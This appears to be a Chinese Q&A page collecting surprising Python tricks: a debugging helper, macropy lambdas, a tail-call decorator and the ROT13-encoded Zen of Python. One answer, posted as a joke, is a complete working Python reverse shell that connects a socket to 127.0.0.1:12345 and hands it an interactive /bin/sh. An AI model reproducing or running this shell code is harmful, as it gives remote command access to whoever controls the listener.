基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机
神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列
Quick-and-dirty debugging output for tired programmers正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。
<code class="language-python"><span class="kn">import</span> <span class="nn">q</span><span class="p">;</span> <span class="n">q</span><span class="p">(</span><span class="n">foo</span><span class="p">)</span>
</code>
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:<code class="language-python"><span class="kn">from</span> <span class="nn">macropy.quick_lambda</span> <span class="kn">import</span> <span class="n">macros</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">_</span>
<span class="k">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span> <span class="c"># [2, 3, 4]</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">*</span> <span class="n">_</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span> <span class="c"># 6</span>
</code>
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的栈帧清了。然而现在还是看不懂它写的是什么鬼。<code class="language-python"><span class="kn">import</span> <span class="nn">sys</span>
<span class="k">class</span> <span class="nc">TailRecurseException</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">args</span> <span class="o">=</span> <span class="n">args</span>
<span class="bp">self</span><span class="o">.</span><span class="n">kwargs</span> <span class="o">=</span> <span class="n">kwargs</span>
<span class="k">def</span> <span class="nf">tail_call_optimized</span><span class="p">(</span><span class="n">g</span><span class="p">):</span>
<span class="sd">""" </span>
<span class="sd"> This function decorates a function with tail call </span>
<span class="sd"> optimization. It does this by throwing an exception </span>
<span class="sd"> if it is it's own grandparent, and catching such </span>
<span class="sd"> exceptions to fake the tail call optimization. </span>
<span class="sd"> </span>
<span class="sd"> This function fails if the decorated </span>
<span class="sd"> function recurses in a non-tail context. </span>
<span class="sd"> """</span>
<span class="k">def</span> <span class="nf">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">_getframe</span><span class="p">()</span>
<span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_code</span> <span class="o">==</span> <span class="n">f</span><span class="o">.</span><span class="n">f_code</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">TailRecurseException</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">return</span> <span class="n">g</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
<span class="k">except</span> <span class="n">TailRecurseException</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">args</span>
<span class="n">kwargs</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">kwargs</span>
<span class="n">func</span><span class="o">.</span><span class="n">__doc__</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">__doc__</span>
<span class="k">return</span> <span class="n">func</span>
</code>
谢邀,我今天无耻一回<code class="language-text">import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
</code>
之前在GitHub看到有人总结了一些python的tricks<code class="language-python"><span class="n">s</span> <span class="o">=</span> <span class="s">"""Gur Mra bs Clguba, ol Gvz Crgref</span>
<span class="s">Ornhgvshy vf orggre guna htyl.</span>
<span class="s">Rkcyvpvg vf orggre guna vzcyvpvg.</span>
<span class="s">Fvzcyr vf orggre guna pbzcyrk.</span>
<span class="s">Pbzcyrk vf orggre guna pbzcyvpngrq.</span>
<span class="s">Syng vf orggre guna arfgrq.</span>
<span class="s">Fcnefr vf orggre guna qrafr.</span>
<span class="s">Ernqnovyvgl pbhagf.</span>
<span class="s">Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.</span>
<span class="s">Nygubhtu cenpgvpnyvgl orngf chevgl.</span>
<span class="s">Reebef fubhyq arire cnff fvyragyl.</span>
<span class="s">Hayrff rkcyvpvgyl fvyraprq.</span>
<span class="s">Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.</span>
<span class="s">Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.</span>
<span class="s">Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.</span>
<span class="s">Abj vf orggre guna arire.</span>
<span class="s">Nygubhtu arire vf bsgra orggre guna *evtug* abj.</span>
<span class="s">Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.</span>
<span class="s">Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.</span>
<span class="s">Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""</span>
<span class="n">d</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">97</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
<span class="n">d</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">c</span><span class="p">)]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span>
<span class="k">print</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">d</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
</code>